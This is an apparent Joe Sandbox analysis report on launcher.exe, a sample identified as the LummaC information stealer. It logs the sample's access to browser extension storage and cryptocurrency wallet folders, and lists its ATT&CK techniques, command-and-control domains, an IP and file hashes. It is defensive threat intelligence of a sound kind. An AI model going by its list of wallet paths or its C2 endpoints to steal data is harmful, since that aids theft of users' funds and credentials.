Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7472, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	12 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	LSASS Memory	151 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
launcher.exe	23%	Virustotal		Browse
launcher.exe	100%	Avira	HEUR/AGEN.1317017
launcher.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
productivelookewr.shop	1%	Virustotal		Browse
sideindexfollowragelrew.pw	24%	Virustotal		Browse

URLs

Source	Detection	Scanner	Link
productivelookewr.shop	1%	Virustotal	Browse
demonstationfukewko.shop	1%	Virustotal	Browse
incredibleextedwj.shop	14%	Virustotal	Browse
liabilitynighstjsko.shop	1%	Virustotal	Browse
https://productivelookewr.shop/api	14%	Virustotal	Browse
tolerateilusidjukl.shop	14%	Virustotal	Browse
shortsvelventysjo.shop	1%	Virustotal	Browse
shatterbreathepsw.shop	1%	Virustotal	Browse
https://productivelookewr.shop:443/api	14%	Virustotal	Browse
alcojoldwograpciw.shop	1%	Virustotal	Browse
sideindexfollowragelrew.pw	24%	Virustotal	Browse
https://productivelookewr.shop/	0%	Virustotal	Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
productivelookewr.shop	104.21.11.250	true	true	1%, Virustotal, Browse	unknown
sideindexfollowragelrew.pw	unknown	unknown	true	24%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
demonstationfukewko.shop	true	1%, Virustotal, Browse	unknown
incredibleextedwj.shop	true	14%, Virustotal, Browse	unknown
shortsvelventysjo.shop	true	1%, Virustotal, Browse	unknown
productivelookewr.shop	true	1%, Virustotal, Browse	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse	unknown
liabilitynighstjsko.shop	true	1%, Virustotal, Browse	unknown
https://productivelookewr.shop/api	false	14%, Virustotal, Browse	unknown
sideindexfollowragelrew.pw	true	24%, Virustotal, Browse	unknown
shatterbreathepsw.shop	true	1%, Virustotal, Browse	unknown
alcojoldwograpciw.shop	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://productivelookewr.shop/%	RegAsm.exe, 00000002.00000002.1805056555.0000000001196000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://productivelookewr.shop/apibu	RegAsm.exe, 00000002.00000002.1805424476.0000000003464000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://productivelookewr.shop:443/api	RegAsm.exe, 00000002.00000002.1805056555.000000000110A000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
https://productivelookewr.shop/o	RegAsm.exe, 00000002.00000002.1805056555.0000000001196000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.5.dr	false		high
https://productivelookewr.shop/	RegAsm.exe, 00000002.00000002.1805056555.0000000001196000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1805056555.000000000110A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.11.250	productivelookewr.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429438
Start date and time:	2024-04-22 06:59:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	launcher.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/5@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 23 Number of non-executed functions: 112
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:00:05	API Interceptor	7x Sleep call for process: RegAsm.exe modified
07:00:13	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.11.250	PASS-1234.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
productivelookewr.shop	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.11.250

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	bZA95up38s.rtf	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	https://insight.adsrvr.org/track/clk?imp=df287ca2-348e-4ef4-95b6-18b097ff396b&ag=p58m9rx&sfe=18153e0c&sig=bucGwjsT0boMqfapF3ys659iHXd10oU-bjV9b6_4Zeo.&crid=6kt8s54g&cf=6336093&fq=0&t=1&td_s=sourceforge.net&rcats=7sp&mste=&mfld=4&mssi=&mfsi=&sv=federatedmedia&uhow=50&agsa=&wp=1.092081&rgz=V6B&dt=PC&osf=Windows&os=Windows10&br=Chrome&svpid=223717&rlangs=en&mlang=&did=&rcxt=Other&tmpc=13.78000000000003&vrtd=&osi=&osv=&daid=&dnr=0&vpb=&c=CgZDYW5hZGESEEJyaXRpc2ggQ29sdW1iaWEaACIJVmFuY291dmVyOAFQAYABAYgBAZABAbABALoBBgih4gMYDJICBjM2NDY0ONgCiA7gAogO-AIBgAMCiAMDkAMBmAMEoAM9uAPBygbCAxQH24iSXx67EhZUq4XVXDtGqPPXTQ..&dur=CiMKDmNoYXJnZS1hbGwtMTIyIhEIhv__________ARIEaWF2MgpjCgc3dWluZTd4EJimBSIXCJey-qABEg9kYTkyMzI5YXVkaWdlbnQiOwiXsvqgARINZHIxMTNhdWRpZ2VudEIkOWYzZDAzYWMtOGI0MC00YmNlLTk0N2ItZDczYTFiZjNkNjZmCj4KIWNoYXJnZS1tYXhEb3VibGVWZXJpZnlCcmFuZFNhZmV0eSIZCPH__________wESDGRvdWJsZXZlcmlmeQowCgxjaGFyZ2UtYWxsLTEiIAj___________8BEhN0dGRfZGF0YV9leGNsdXNpb25zEJimBTIkOWYzZDAzYWMtOGI0MC00YmNlLTk0N2ItZDczYTFiZjNkNjZmOAE.&durs=L4Cb61&crrelr=&npt=&testid=iavc1%20&fpa=546&pcm=3&ict=Unknown&said=d25d7c3f-8a89-4349-b8cc-15f285ed17c0&auct=1&tail=1&r=https://cf-ipfs.com/ipfs/QmW3CaJMeTL4Z1WhsR8kFQWUND47rYZXMSNdwezX7aMqJs/#assetcoordinator@bluestarindia.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://zamag.net/pr-newswire-asia/	Get hash	malicious	Unknown	Browse	104.18.32.115
	KVOCdfsgdi.exe	Get hash	malicious	RedLine	Browse	104.20.4.235
	https://www.traveltrendstoday.in	Get hash	malicious	Unknown	Browse	172.64.153.98
	https://thetaxauthority.screenconnect.com/Bin/ScreenConnect.WindowsClient.exe	Get hash	malicious	ScreenConnect Tool	Browse	1.1.1.1
	ygm2mXUReY.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	https://ozluc01lyejozbbzmr.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	104.21.53.38
	http://outlookaccount.rf.gd/?i=1	Get hash	malicious	Unknown	Browse	104.20.95.138
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ygm2mXUReY.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.11.250
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.11.250
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.21.11.250
	https://yxv.ens.mybluehost.me/Ca/net/login.php	Get hash	malicious	Unknown	Browse	104.21.11.250
	2q45IEa3Ee.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.11.250
	Pictures.com.exe	Get hash	malicious	DBatLoader	Browse	104.21.11.250
	2FjvjcayaH.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	104.21.11.250

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_launcher.exe_unk_b0bb7f6d90ed2f8ba3c75ebe9dc55dc31e4cb28_122839a5_de3fb72a-2063-40a2-b49d-422c40f56fc6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7971542237410658
Encrypted:	false
SSDEEP:	96:aF5LFSzDqZO2wsghqDEyCfIQXIDcQvc6QcEVcw3cE/f+HbHg/BQAS/YyNl4EfaAs:aLLzA2w8Q0BU/4jeTMzuiFFZ24IO8Hf
MD5:	0EDD2FCD0220238FDD2D55612432AF1E
SHA1:	7AF39E5E77B14053BBE8E76940320F8B8B79FAE5
SHA-256:	31D5E34E86986C5DF683A37C9D309EA23F999EA13801DB45F4381D1C763B1223
SHA-512:	4583A57247C892E79CE388E62C454E351DEFA1871E0F71CAECE512D4C8C61D6057FEA5C68CDBDF73C612FA7445B128BDC5584127F0ED41969D0C32AB1C66ED71
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.2.3.5.6.0.5.4.5.9.4.8.9.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.2.3.5.6.0.5.9.1.2.6.1.4.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.e.3.f.b.7.2.a.-.2.0.6.3.-.4.0.a.2.-.b.4.9.d.-.4.2.2.c.4.0.f.5.6.f.c.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.b.e.2.a.3.4.f.-.8.7.7.a.-.4.5.f.5.-.a.5.7.4.-.2.2.7.a.c.d.4.0.a.b.0.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.a.u.n.c.h.e.r...e.x.e._.u.n.k.n.o.w.n.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.1.4.-.0.0.0.1.-.0.0.1.4.-.d.b.d.1.-.7.5.f.0.7.1.9.4.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.2.b.f.8.5.6.b.7.1.0.f.c.2.0.2.4.2.c.e.9.e.7.c.8.1.f.7.3.1.7.0.0.0.0.f.f.f.f.!.0.0.0.0.d.5.c.b.6.c.b.e.5.d.4.a.d.8.b.2.0.a.3.5.1.0.8.0.a.6.b.c.8.e.8.5.f.a.7.2.a.6.4.e.!.l.a.u.n.c.h.e.r...e.x.e.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE825.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Apr 22 05:00:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	40616
Entropy (8bit):	1.9414788471263662
Encrypted:	false
SSDEEP:	96:5H8liE3p16sKeAbqg3c9brwYYTKki75I4vvOLWSilevo0B7tjfKmp4TbS94sSCOe:a9kuhLBkO5H+voSxjfj4w0HwOKGEuGD
MD5:	30B1A5724501B2431E1C71B776CEDF34
SHA1:	4A5A1C0490895A156C4A9ED62E2F5AFF1F7C8DC8
SHA-256:	1EB1D0BFB0A5021FFF2653F2C578A301DEF1B41B15851631CDEDC22F5F1DA43A
SHA-512:	9F3635971563C3A65A95314846ADCE5E4A4473E2ABCBC5081E77B0D76058F79828DAB1167A1C2593BBA1EE46D8CB79A9DAB7DFE5B8765E7C2858D67CA0E929BC
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........%f........................@................$..........T.......8...........T.......................................................................................................................eJ......`.......GenuineIntel............T.............%f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE910.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8320
Entropy (8bit):	3.6992080068150726
Encrypted:	false
SSDEEP:	192:R6l7wVeJo16wL6Y9OSUcigmfWq7prB89byxsfHGm:R6lXJS6W6YkSUcigmfWqYyqfP
MD5:	910BE4E946862215863E7E7C9EAC9AEC
SHA1:	88E1840EA76F03D4214AB1D694AF4D4272D65916
SHA-256:	AFF03C7AF332FDBAE1FFDF8285B4F5AF71A4A9F3DEBDC57CE041744FF367BEA2
SHA-512:	46360F58BFE5B9E9A49D4083B0FE2C0B9C2DF62860F455230632D25F390D122C12AC0D6A6AB2FE91FD90DD7FD8C6C35BF3138E1FFB9EC4A1581BD54FD6C7C011
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE930.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4603
Entropy (8bit):	4.469412429961924
Encrypted:	false
SSDEEP:	48:cvIwWl8zsauJg77aI9DIWpW8VYAYm8M4JhMsEFk+q8wHRQOQsd:uIjfakI7ph7VIJhMCRxQOQsd
MD5:	C3DFFD7FF58ADEFCECF0B333D6FF91DD
SHA1:	5983A671EA29578E583B935094B2A089628EEFE0
SHA-256:	717EE5BA93216C90A6A091A94961E714E69D74AA018368EC76DD4CD2481D78FD
SHA-512:	49D46E5AA9B25E786CDB9798A976F1DB1D26FDB65E38403B54C05BEF272A95B332F614EBBE0E8336D125CE992032D8619BE4D7DBA18DABC8FFADB00F59DC9CD6
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="290642" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4654274525378606
Encrypted:	false
SSDEEP:	6144:sIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNOdwBCswSbn:RXD94+WlLZMM6YFH0+n
MD5:	F510FB7BF5C2B9835A4B700D17ED9763
SHA1:	DDC266EB1BF710F208FA1E1F2AEC1B5F386BB12E
SHA-256:	6DCDE34B1BE03E22D4A04345CF83DE77813EA83E549158F5EEC6B377B5901BAB
SHA-512:	89F7D7CCA14BF72F0842BC71CA1BFA215B4B934BE056D6C319FFDE1DDC56A0732D0AF45071EC88A88DB8915CCBEB8CD2299E9D92DE54915CF07E9412432EAE97
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....q...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.26264220467827815
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	launcher.exe
File size:	26'684'528 bytes
MD5:	913b4744fbcd88cbc9ba44808a835a91
SHA1:	d5cb6cbe5d4ad8b20a351080a6bc8e85fa72a64e
SHA256:	b411fa289b897c774560292abcf7c298e29e1b9b8243357b1cc7d25a28622739
SHA512:	ab0c1ec3840947262d4825bbc1cb1f0f056fceda99d7886ce7f83c432faf91a89e17f81e21132a9f997a895c0dd3cdb3d987b47608020cb1260657d782847863
